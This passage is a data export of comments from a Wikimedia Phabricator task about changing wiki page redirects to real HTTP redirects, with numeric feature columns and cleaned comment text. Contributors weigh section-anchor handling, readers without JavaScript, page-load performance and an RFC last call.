Machine-understanding of HTTP redirects does not require any advanced parsing.",,,1499123751,,PHID-USER-zypu533gadta5o4pukhy,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.9655172413793105,1.0,"Maybe this advantage has been mentioned as //SEO// already, but stating it explicitly:
Machine-understanding of HTTP redirects does not require any advanced parsing."
885404,Consider changing wikipage redirects to be proper HTTP redirects,"During the RFC discussion on June 28, it was agreed that this RFC be put on Final Call: if no new pertinent concerns are raised and remain open by July 12, this RFC will be approved for implementation.

Option 1 was identified as a good first step, with the option to implement Option 2 or other optimizations later, if they prove necessary.

IRC log: https://tools.wmflabs.org/meetbot/wikimedia-office/2017/wikimedia-office.2017-06-28-21.00.log.html",,,1498824920,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,0.0,0.0,0.0,7.0,0.0,9.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,15.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,16.0,4.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,3.0,15.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.9066666666666667,0.8,"During the RFC discussion on June 28, it was agreed that this RFC be put on Final Call: if no new pertinent concerns are raised and remain open by July 12, this RFC will be approved for implementation.

Option 1 was identified as a good first step, with the option to implement Option 2 or other optimizations later, if they prove necessary.

IRC log: URL"
885400,Consider changing wikipage redirects to be proper HTTP redirects,"During the RFC discussion on June 28, it was agreed that this RFC be put on Final Call: if no new pertinent concerns are raised and remain open by July 12, this RFC will be approved for implementation.

IRC log: https://tools.wmflabs.org/meetbot/wikimedia-office/2017/wikimedia-office.2017-06-28-21.00.log.html",,,1498824852,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,0.0,0.0,0.0,9.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,21.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,2.0,15.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.74468085106383,0.851063829787234,"During the RFC discussion on June 28, it was agreed that this RFC be put on Final Call: if no new pertinent concerns are raised and remain open by July 12, this RFC will be approved for implementation.

IRC log: URL"
885132,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3386679, @Tgr wrote:
> [...] And the UX is broken in multiple ways 

I've forked that issue to {T169282} to avoid multiple issues here.
",,,1498779063,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.85,"QUOTE
QUOTE

I've forked that issue to {T169282} to avoid multiple issues here.
"
885074,Consider changing wikipage redirects to be proper HTTP redirects,"The rule number 1 in the document is to make fewer HTTP requests in general, but allegedly there are 2 requests for CSS and 2-3 requests for Javascript, so I don't get why you're so strict about rule number 11.

Anyway, how much longer does it //actually take// to load a redirect page to the same domain compared to a normal page? How much are you willing to accept?

Consider keep-alive connections and all other optimizations that make sense for this kind of redirects.",,,1498774978,,PHID-USER-qwxkrd4xi74hgc24cflz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,3.0,0.0,0.0,0.0,1.0,11.0,1.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,1.0,1.0,0.0,10.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,1.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,15.0,0.0,1.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,3.0,8.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,4.0,12.0,1.0,2.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,1.0,0.0,0.0,3.9494949494949494,0.7272727272727273,"The rule number 1 in the document is to make fewer HTTP requests in general, but allegedly there are 2 requests for CSS and 2-3 requests for Javascript, so I don't get why you're so strict about rule number 11.

Anyway, how much longer does it //actually take// to load a redirect page to the same domain compared to a normal page? How much are you willing to accept?

Consider keep-alive connections and all other optimizations that make sense for this kind of redirects."
885055,Consider changing wikipage redirects to be proper HTTP redirects,">which influence only latency but not bandwidth, does not really matter from the performance point of view. 
The effect of redirects on user perceived performance is well known and documented. Perceived performance by the user is driven by the time it took to see the first content displayed, HTTP redirects -by definition- delay the 1st paint of your page as it is now happening X milliseconds after, X being the time it took to do the redirects. A page with a myriad of image requests could actually display content immediately, the number of image requests and perceived performance are not necessarily related (they could be but that will not be true for every site)

Regardless we might decide to go with the HTTP redirects for other reasons (SEO, whatever).

For reference: Note rule 11 in this document, these guidelines that are almost a decade old: http://stevesouders.com/hpws/rules.php",,,1498773143,,PHID-USER-mwkkwzbzlkvdl4w2og44,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,0.5,0.0,0.0,1.5,1.5,3.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,6.5,10.0,0.0,1.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,2.0,0.5,0.5,3.5,4.5,1.5,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.5,1.0,0.5,0.5,0.5,0.0,0.5,0.0,20.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,3.0,0.0,1.5,0.0,0.5,0.0,6.5,4.5,7.5,0.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,3.5,10.0,2.0,0.0,0.0,0.0,3.5,0.0,1.5,1.5,0.0,0.5,0.0,0.0,0.0,4.299518696778971,0.7555534987041836,"QUOTE
The effect of redirects on user perceived performance is well known and documented. Perceived performance by the user is driven by the time it took to see the first content displayed, HTTP redirects -by definition- delay the 1st paint of your page as it is now happening X milliseconds after, X being the time it took to do the redirects. A page with a myriad of image requests could actually display content immediately, the number of image requests and perceived performance are not necessarily related (they could be but that will not be true for every site)

Regardless we might decide to go with the HTTP redirects for other reasons (SEO, whatever).

For reference: Note rule 11 in this document, these guidelines that are almost a decade old: URL"
885048,Consider changing wikipage redirects to be proper HTTP redirects,"> The cost I was referring to is for the more common ""plain"" redirects, e.g. Foo > Bar, with no section being involved. In that case you previously just follow a link to load a page, and you now follow a link, wait for the browser to receive the redirect, wait for the browser to follow that link instead, and then the page will load.

According to [this page](https://varvy.com/tools/requests/) it takes 22 requests to load the [Wikipedia's main page](https://en.wikipedia.org/wiki/Main_Page). It counted 2 CSS files and 1 Javascript file, according to your answer it might sometimes take 2 or 3 Javascript requests. Most of the requests are due to images, which can get into hundreds for more rich pages. So as I see it, adding a couple of HTTP redirects, which influence only latency but not bandwidth, does not really matter from the performance point of view. If you want to dramatically improve performance, you should be limiting the number of images per page. Note that limiting the number of requests per page will conflict with good user experience in every case.",,,1498772353,,PHID-USER-qwxkrd4xi74hgc24cflz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,1.0,0.0,0.0,0.0,1.5,3.5,0.5,0.0,0.0,1.0,1.5,0.0,0.0,1.0,0.0,0.5,0.0,5.5,13.0,0.0,1.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,4.0,1.5,2.5,1.0,2.0,0.0,1.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,18.5,1.0,0.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,1.0,1.5,0.0,0.0,0.0,4.0,1.5,7.5,1.5,2.0,6.5,0.0,0.0,0.0,0.0,5.5,0.0,2.5,0.0,5.0,13.0,2.5,0.0,0.0,0.0,5.0,0.0,1.5,1.0,0.0,3.5,0.5,0.5,1.0,4.242424242424242,0.7727272727272727,"QUOTE

According to [this page](URL it takes 22 requests to load the [Wikipedia's main page](URL It counted 2 CSS files and 1 Javascript file, according to your answer it might sometimes take 2 or 3 Javascript requests. Most of the requests are due to images, which can get into hundreds for more rich pages. So as I see it, adding a couple of HTTP redirects, which influence only latency but not bandwidth, does not really matter from the performance point of view. If you want to dramatically improve performance, you should be limiting the number of images per page. Note that limiting the number of requests per page will conflict with good user experience in every case."
884994,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3389987, @Zazpot wrote:
>>>! In T53736#3389432, @Krinkle wrote:
>> [..] instead respond with a native browser redirect. [..] This solves the problem,** but does come at the cost of performance. (As user's devices will now sending a request, getting a respond, and then doing the ceremony a second time.)**
> 
> [..]
> 
> So, for me at least, and other editors and readers like me, Solution 1 would be a big performance improvement :-)

Agreed, definitely. Even for users with JavaScript enabled (who don't have to do any manual work) the section will appear sooner with an HTTP redirect because currently, they:
1. Start loading the page.
2. Wait for 2 or 3 JavaScript request.
3. Wait for the page to finish loading.
4. Wait for JavaScript to jump to the section.

Those 2-3 javascript request, as being http requests, take just as long as multiple http redirect requests would take. So for the use case of redirect-to-a-section, this proposal is universal improvement.

The cost I was referring to is for the more common ""plain"" redirects, e.g. Foo > Bar, with no section being involved. In that case you previously just follow a link to load a page, and you now follow a link, wait for the browser to receive the redirect, wait for the browser to follow that link instead, and then the page will load.",,,1498768107,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,200,True,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.6666666666666666,0.3333333333333333,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,6.333333333333333,9.666666666666666,0.0,2.3333333333333335,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,2.0,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.3333333333333333,1.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,10.666666666666666,0.0,1.6666666666666667,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,6.333333333333333,2.0,8.333333333333334,0.3333333333333333,1.3333333333333333,9.0,0.0,0.0,0.0,0.0,6.666666666666667,0.0,1.3333333333333333,0.0,1.6666666666666667,9.666666666666666,4.666666666666667,0.0,1.0,0.0,1.6666666666666667,0.0,0.3333333333333333,2.0,0.0,0.6666666666666666,0.6666666666666666,0.0,1.6666666666666667,3.6261569416498993,0.6160965794768613,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Agreed, definitely. Even for users with JavaScript enabled (who don't have to do any manual work) the section will appear sooner with an HTTP redirect because currently, they:
1. Start loading the page.
2. Wait for 2 or 3 JavaScript request.
3. Wait for the page to finish loading.
4. Wait for JavaScript to jump to the section.

Those 2-3 javascript request, as being http requests, take just as long as multiple http redirect requests would take. So for the use case of redirect-to-a-section, this proposal is universal improvement.

The cost I was referring to is for the more common ""plain"" redirects, e.g. Foo > Bar, with no section being involved. In that case you previously just follow a link to load a page, and you now follow a link, wait for the browser to receive the redirect, wait for the browser to follow that link instead, and then the page will load."
884516,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3389432, @Krinkle wrote:
> This proposal is to get rid of that and come up with something better. Solution 1 is to remove the logic that makes the server respond with the content of the target of the redirect and instead respond with a native browser redirect. This means the browser will be told, ""nothing here, go to `https://en.wikipedia.org/wiki/Foo_events#Foo_2017` instead."". The browser then essentially aborts the load, updates the browser bar, and goes to make another request to the server (transparent to the user). This solves the problem,** but does come at the cost of performance. (As user's devices will now sending a request, getting a respond, and then doing the ceremony a second time.)**

(Emphasis mine.)

For a user (like me) who almost never uses JavaScript on Wikipedia, Solution 1 as described in your quote would //not// come at the cost of performance. Instead, it would get me to the relevant anchor much faster than is presently the case. This is because waiting for a second HTTP request/response to complete is almost inevitably quicker than the current process of:

- being puzzled about why you are being shown something that does not seem to match the link you clicked
- looking for a little notice about having been redirected
- remembering that this bug exists (if you even know that it does, which I'm sure many editors don't)
- trying to figure out which place in the present page your browser would have taken you to if you used JavaScript
- manually scrolling your viewport to that part of the page

The process above typically takes several seconds for a practised user. For an unpractised user, they might never identify the intended part of the page (i.e. they might find themselves at the top of a long page whose lede does not make it obvious that it addresses the matter they intended to navigate to, and give up).

By contrast, an HTTP request/response takes fractions of a second.

So, for me at least, and other editors and readers like me, Solution 1 would be a big performance improvement :-)",,,1498729446,,PHID-USER-wsghbekue7o6dda2pr5p,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,1.0,0.3333333333333333,0.0,1.3333333333333333,1.0,6.0,1.0,0.3333333333333333,0.0,0.6666666666666666,1.6666666666666667,0.6666666666666666,0.0,0.6666666666666666,0.0,1.6666666666666667,0.3333333333333333,6.0,14.333333333333334,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.3333333333333333,0.0,5.0,1.6666666666666667,1.3333333333333333,0.0,2.6666666666666665,0.3333333333333333,0.3333333333333333,1.0,1.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,13.666666666666666,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,7.333333333333333,2.6666666666666665,6.0,2.3333333333333335,1.0,9.333333333333334,0.0,0.3333333333333333,0.0,0.0,4.666666666666667,0.0,0.6666666666666666,0.0,7.666666666666667,14.333333333333334,2.3333333333333335,0.0,0.0,0.0,7.333333333333333,0.0,2.0,3.0,1.6666666666666667,1.6666666666666667,0.6666666666666666,0.3333333333333333,0.3333333333333333,4.035452703755649,0.7408835904628331,"QUOTE
QUOTE

(Emphasis mine.)

For a user (like me) who almost never uses JavaScript on Wikipedia, Solution 1 as described in your quote would //not// come at the cost of performance. Instead, it would get me to the relevant anchor much faster than is presently the case. This is because waiting for a second HTTP request/response to complete is almost inevitably quicker than the current process of:

- being puzzled about why you are being shown something that does not seem to match the link you clicked
- looking for a little notice about having been redirected
- remembering that this bug exists (if you even know that it does, which I'm sure many editors don't)
- trying to figure out which place in the present page your browser would have taken you to if you used JavaScript
- manually scrolling your viewport to that part of the page

The process above typically takes several seconds for a practised user. For an unpractised user, they might never identify the intended part of the page (i.e. they might find themselves at the top of a long page whose lede does not make it obvious that it addresses the matter they intended to navigate to, and give up).

By contrast, an HTTP request/response takes fractions of a second.

So, for me at least, and other editors and readers like me, Solution 1 would be a big performance improvement :-)"
884509,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3380977, @GWicke wrote:
>>>! In T53736#3365130, @Zazpot wrote:
>>>>! In T53736#3349657, @GWicke wrote:
>>> In the past, we discussed adding the ""redirected from"" thing in client-side javascript.
>> 
>> It's unclear (to me) from this remark whether you spotted that the purpose of this issue is, at least in part, to handle cases where client-side JavaScript is not present (e.g. a browser that does not support JavaScript, or that has JavaScript disabled). Probably you already understood that, but I'm adding this clarificatory remark just in case not ;)
> 
> To clarify: I was talking about the ""redirected from"" notice, which at least the current description does not call out as needs-to-work-without-JS. While fundamental functionality like linking clearly shouldn't rely on JS, it might make sense to rely on JS for less critical features like small notices aimed primarily at editors, especially when that enables better cache performance.

Speaking as an editor who:

- almost never uses JavaScript, and
- reads and makes use of (""consumes""?) the ""redirected from"" notices

I would be pretty puzzled - and subsequently annoyed - if they suddenly stopped being shown, even if this bug is fixed. Frankly, if they are removed in the process of fixing this bug, then I would feel compelled to file a new bug report about their removal, asking for them to be restored.",,,1498728579,,PHID-USER-wsghbekue7o6dda2pr5p,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,0.0,0.0,0.0,3.5,0.0,3.0,0.5,0.0,0.0,2.5,1.5,0.0,0.0,0.5,0.0,1.5,0.0,6.0,9.5,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,3.0,2.5,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,3.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,4.0,7.5,2.5,2.0,4.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,9.5,4.0,0.5,2.0,0.0,5.0,0.0,0.5,1.5,1.0,2.5,0.0,0.0,0.0,3.6363636363636367,0.7,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Speaking as an editor who:

- almost never uses JavaScript, and
- reads and makes use of (""consumes""?) the ""redirected from"" notices

I would be pretty puzzled - and subsequently annoyed - if they suddenly stopped being shown, even if this bug is fixed. Frankly, if they are removed in the process of fixing this bug, then I would feel compelled to file a new bug report about their removal, asking for them to be restored."
884395,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3389275, @Nirzar wrote:
> One question: 
> 
>>Without JS, the user sees the top of the article (with the notice, but it only tells which article they were redirected from, not the target section).
> 
> Why do we need JS to actually scroll to the position? what if the source link contains the the section name and we append the section as # at the end of URL, wouldn't the browser scroll to that position on its own?
>  
> like this > https://en.wikipedia.org/wiki/Yucat%C3%A1n_Peninsula#Climate

The bug described here in particular is about redirecting to a section. Regular links to sections within an article work fine. A link `[[Foo#Bar]]` will produce a link like `https://en.wikipedia.org/wiki/Foo#Bar` which, as you say, will make the browser naturally jump to the anchor on that page in question.

The problem here is if you create a link to `[[Foo 2017]]`, and then imagine `Foo 2017` being a redirect to `Foo events#Foo 2017`. In that case your browser will follow the link as `https://en.wikipedia.org/wiki/Foo_2017` which then results in the server responding with the content for the `Foo_events` article. There is no anchor in your address bar at this point, because it wasn't specified on the incoming link. In theory you could link to `[[Foo 2017#Foo 2017]]`, but then again, if the editor knew `Foo 2017` was a redirect it would've just linked to  `Foo events#Foo 2017` proper. The scenario here is a redirect. E.g. when articles are merged, or when a topic doesn't yet have its own article.

Currently, when you request an article that is a redirect, the server responds with the content of the target article and a message saying ""Redirected from: Foo 2017"". In addition, if the redirect page specifies a section anchor, there is also some invisible meta data that then instructs some JavaScript code to scroll to section `Foo 2017` and even update your browser address bar from `https://en.wikipedia.org/wiki/Foo_2017` to `https://en.wikipedia.org/wiki/Foo_events#Foo_2017`.

Example: <https://en.wikipedia.org/wiki/Economy_of_Christmas_Island>
Renders invisibly as <https://en.wikipedia.org/wiki/Christmas_Island> with a ""Redirected from"" message on top, JS jumps to `#Economy`, JS updates address bar.

This proposal is to get rid of that and come up with something better. Solution 1 is to remove the logic that makes the server respond with the content of the target of the redirect and instead respond with a native browser redirect. This means the browser will be told, ""nothing here, go to `https://en.wikipedia.org/wiki/Foo_events#Foo_2017` instead."". The browser then essentially aborts the load, updates the browser bar, and goes to make another request to the server (transparent to the user). This solves the problem, but does come at the cost of performance. (As user's devices will now sending a request, getting a respond, and then doing the ceremony a second time.)",,,1498701223,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,200,True,0.4,0.2,0.0,0.6,0.4,2.4,1.6,0.2,0.0,0.6,3.0,0.6,0.0,0.0,0.4,0.0,0.4,6.0,11.4,0.4,0.8,0.0,0.0,0.2,0.6,0.0,0.0,0.0,0.2,1.2,0.6,5.4,0.6,0.6,0.4,1.4,0.0,0.0,0.4,0.8,0.2,0.0,0.4,1.4,0.0,0.0,0.0,0.6,0.0,17.2,0.6,0.8,0.2,0.4,0.0,0.2,0.0,0.0,0.8,0.2,0.4,0.8,0.0,0.2,0.0,0.8,0.0,9.8,2.6,10.2,1.4,2.0,12.4,0.0,0.0,0.0,0.0,4.0,0.0,0.4,0.0,2.0,11.4,4.6,0.0,1.2,0.0,2.0,0.0,1.6,3.6,0.0,1.2,0.2,0.0,0.4,3.8971003134796236,0.6446185997910135,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The bug described here in particular is about redirecting to a section. Regular links to sections within an article work fine. A link CODE will produce a link like CODE which, as you say, will make the browser naturally jump to the anchor on that page in question.

The problem here is if you create a link to CODE, and then imagine CODE being a redirect to CODE. In that case your browser will follow the link as CODE which then results in the server responding with the content for the CODE article. There is no anchor in your address bar at this point, because it wasn't specified on the incoming link. In theory you could link to CODE, but then again, if the editor knew CODE was a redirect it would've just linked to  CODE proper. The scenario here is a redirect. E.g. when articles are merged, or when a topic doesn't yet have its own article.

Currently, when you request an article that is a redirect, the server responds with the content of the target article and a message saying ""Redirected from: Foo 2017"". In addition, if the redirect page specifies a section anchor, there is also some invisible meta data that then instructs some JavaScript code to scroll to section CODE and even update your browser address bar from CODE to CODE.

Example: <URL
Renders invisibly as <URL with a ""Redirected from"" message on top, JS jumps to CODE, JS updates address bar.

This proposal is to get rid of that and come up with something better. Solution 1 is to remove the logic that makes the server respond with the content of the target of the redirect and instead respond with a native browser redirect. This means the browser will be told, ""nothing here, go to CODE instead."". The browser then essentially aborts the load, updates the browser bar, and goes to make another request to the server (transparent to the user). This solves the problem, but does come at the cost of performance. (As user's devices will now sending a request, getting a respond, and then doing the ceremony a second time.)"
884393,Consider changing wikipage redirects to be proper HTTP redirects,">>! In T53736#3389275, @Nirzar wrote:
> One question: 
> 
>>Without JS, the user sees the top of the article (with the notice, but it only tells which article they were redirected from, not the target section).
> 
> Why do we need JS to actually scroll to the position? what if the source link contains the the section name and we append the section as # at the end of URL, wouldn't the browser scroll to that position on its own?
>  
> like this > https://en.wikipedia.org/wiki/Yucat%C3%A1n_Peninsula#Climate

The bug described here in particular is about redirecting to a section. Regular links to sections within an article work fine. A link `[[Foo#Bar]]` will produce a link like `https://en.wikipedia.org/wiki/Foo#Bar` which, as you say, will make the browser naturally jump to the anchor on that page in question.

The problem here is if you create a link to `[[Foo 2017]]`, and then imagine `Foo 2017` being a redirect to `Foo events#Foo 2017`. In that case your browser will follow the link as `https://en.wikipedia.org/wiki/Foo_2017` which then results in the server responding with the content for the `Foo_events` article. There is no anchor in your address bar at this point, because it wasn't specified on the incoming link. In theory you could link to `[[Foo 2017#Foo 2017]]`, but then again, if the editor knew `Foo 2017` was a redirect it would've just linked to  `Foo events#Foo 2017` proper. The scenario here is a redirect. E.g. when articles are merged, or when a topic doesn't yet have its own article.

Currently, when you request an article that is a redirect, the server responds with the content of the target article and a message saying ""Redirected from: Foo 2017"". In addition, if the redirect page specifies a section anchor, there is also some invisible meta data that then instructs some JavaScript code to scroll to section `Foo 2017` and even update your browser address bar from `https://en.wikipedia.org/wiki/Foo_2017` to `https://en.wikipedia.org/wiki/Foo_events#Foo_2017`.

This proposal is to get rid of that and come up with something better. Solution 1 is to remove the logic that makes the server respond with the content of the target of the redirect and instead respond with a native browser redirect. This means the browser will be told, ""nothing here, go to `https://en.wikipedia.org/wiki/Foo_events#Foo_2017` instead."". The browser then essentially aborts the load, updates the browser bar, and goes to make another request to the server (transparent to the user). This solves the problem, but does come at the cost of performance. (As user's devices will now sending a request, getting a respond, and then doing the ceremony a second time.)",,,1498700954,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,200,True,0.4,0.2,0.0,0.6,0.4,2.2,1.6,0.2,0.0,0.6,2.8,0.6,0.0,0.0,0.4,0.0,0.4,5.8,10.6,0.4,0.8,0.0,0.0,0.2,0.6,0.0,0.0,0.0,0.2,1.2,0.6,5.0,0.6,0.6,0.4,1.4,0.0,0.0,0.2,0.8,0.2,0.0,0.4,1.4,0.0,0.0,0.0,0.6,0.0,15.8,0.6,0.8,0.2,0.4,0.0,0.2,0.0,0.0,0.8,0.2,0.4,0.8,0.0,0.2,0.0,0.8,0.0,9.8,2.6,8.6,1.4,2.2,12.4,0.0,0.0,0.0,0.0,4.0,0.0,0.4,0.0,2.0,10.6,4.0,0.0,0.8,0.0,2.0,0.0,1.6,3.6,0.0,1.4,0.2,0.0,0.0,3.9358024691358025,0.654320987654321,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The bug described here in particular is about redirecting to a section. Regular links to sections within an article work fine. A link CODE will produce a link like CODE which, as you say, will make the browser naturally jump to the anchor on that page in question.

The problem here is if you create a link to CODE, and then imagine CODE being a redirect to CODE. In that case your browser will follow the link as CODE which then results in the server responding with the content for the CODE article. There is no anchor in your address bar at this point, because it wasn't specified on the incoming link. In theory you could link to CODE, but then again, if the editor knew CODE was a redirect it would've just linked to  CODE proper. The scenario here is a redirect. E.g. when articles are merged, or when a topic doesn't yet have its own article.

Currently, when you request an article that is a redirect, the server responds with the content of the target article and a message saying ""Redirected from: Foo 2017"". In addition, if the redirect page specifies a section anchor, there is also some invisible meta data that then instructs some JavaScript code to scroll to section CODE and even update your browser address bar from CODE to CODE.

This proposal is to get rid of that and come up with something better. Solution 1 is to remove the logic that makes the server respond with the content of the target of the redirect and instead respond with a native browser redirect. This means the browser will be told, ""nothing here, go to CODE instead."". The browser then essentially aborts the load, updates the browser bar, and goes to make another request to the server (transparent to the user). This solves the problem, but does come at the cost of performance. (As user's devices will now sending a request, getting a respond, and then doing the ceremony a second time.)"
884346,Consider changing wikipage redirects to be proper HTTP redirects,"One question: 

>Without JS, the user sees the top of the article (with the notice, but it only tells which article they were redirected from, not the target section).

Why do we need JS to actually scroll to the position? what if the source link contains the the section name and we append the section as # at the end of URL, wouldn't the browser scroll to that position on its own?
 
like this > https://en.wikipedia.org/wiki/Yucat%C3%A1n_Peninsula#Climate

",,,1498695094,,PHID-USER-ed7ta55b47bd3ag6cnuw,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,5.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,0.0,10.0,3.0,2.0,15.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,5.0,15.0,3.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,3.559322033898305,0.7288135593220338,"One question: 

QUOTE

